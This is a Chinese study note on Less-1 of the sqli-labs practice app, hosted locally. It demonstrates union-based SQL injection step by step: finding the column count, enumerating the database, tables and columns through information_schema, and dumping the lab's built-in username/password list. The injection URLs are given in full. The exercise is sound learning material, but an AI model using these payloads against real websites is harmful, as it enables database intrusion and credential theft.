MySQL注入练习笔记(Welcome Dhakkan)Less-1

提示:Please input the ID as parameter with numeric value

1、他的意思应该是地址后面带的 ?id=’你的内容’

2、查看当前地址,为:http://127.0.0.1/sqli-labs/Less-1/

3、在后面加入index.php,为:http://127.0.0.1/sqli-labs/Less-1/index.php

4、访问这个网站,还是一样,说明这个网页文件就是index.php

5、之后尝试输入http://127.0.0.1/sqli-labs/Less-1/index.php?id=1

6、发现如下图所示,再把ID改为2,名字又有变化,表明可以通过ID控制它的用户名

7、尝试在后面输入http://127.0.0.1/sqli-labs/Less-1/index.php?id=1‘ union select 1,2 –+

提示The used SELECT statements have a different number of columns,说明没有输入正确的列数,改为1,2,3即可显示正确信息

 

接下来就是获取数据库里面的信息了,例如用户信息,就得知道这个信息当前在什么数据库里面,在数据库哪个表里面,表里面的字段是哪些。

首先我们先获取一下用户名密码在哪个数据库里面。

database()可以让我们知道当前调用的这个东西在哪个数据库里面,例如输入

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1′ union select 1,2,database() –+

结果为:

Welcome    Dhakkan
Your Login name:2
Your Password:security

第三行输出的是security,说明当前所在的地方(用户名和密码)是在security这个数据库里面。

我们还需要找出security里面存放用户信息的表,好在有一个数据库里面存放着所有数据库的信息。它叫做information_schema,这里面的tables表里面有所有表的名字。我们要找security表里面的所有表,那就要找到security所在的字段,叫做TABLE_SCHEMA,然后按以下代码输入即可。

注:group_concat()的目的是为了把多条数据合做一条输出,这样就能在一行里面输出。
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1′ union select 1,1,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=’security’) –+

得到的结果为

Welcome    Dhakkan
Your Login name:1
Your Password:emails,referers,uagents,users

输出了security数据库中的所有表,然后我们通过观察和经验,猜测users是存储用户信息的表。于是为了获取这个表的数据,我们要通过一些方法找到这个表的字段。好在information_schema数据库中也有这些信息,它就在columns表里面的COLNUM_NAME字段下。

很好,我们用同样的方法找到users表里面的所有字段

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1′ union select 1,1,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=’users’ and TABLE_SCHEMA=’security’) –+

输出结果为:

Welcome    Dhakkan
Your Login name:1
Your Password:id,username,password

 

之后我们只要利用得到的字段找出对应的值(username,password)即可:
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1′ union select 1,2,group_concat(username,’@@’,password) from users –+

注:group_concat(username,’@@’,password)中为了更好的显示出来,我们可以在中间加’@@’,得到以下效果

Welcome    Dhakkan
Your Login name:2
Your Password:Dumb@@Dumb,Angelina@@I-kill-you,Dummy@@p@ssword,secure@@crappy,stupid@@stupidity,superman@@genious,batman@@mob!le,admin@@admin,admin1@@admin1,admin2@@admin2,admin3@@admin3,dhakkan@@dumbo,admin4@@admin4
我们可以看到,账号信息通过(用户名@@密码)的形式显示出来了。
拓展知识:
user():获取当前用户信息
database():获取当前数据库名称
version():获取当前MySQL版本
@@basedir:获取当前数据库的路径(服务端为Windows系统下可用)

所有数据库信息的位置:information_schema–schemata–SCHEMA_NAME
属于数据库TABLE_SCHEMA的表的位置:information_schema–tables–TABLE_NAME
属于TABLE_NAME表的字段的位置:information_schema–columns–COLNUM_NAME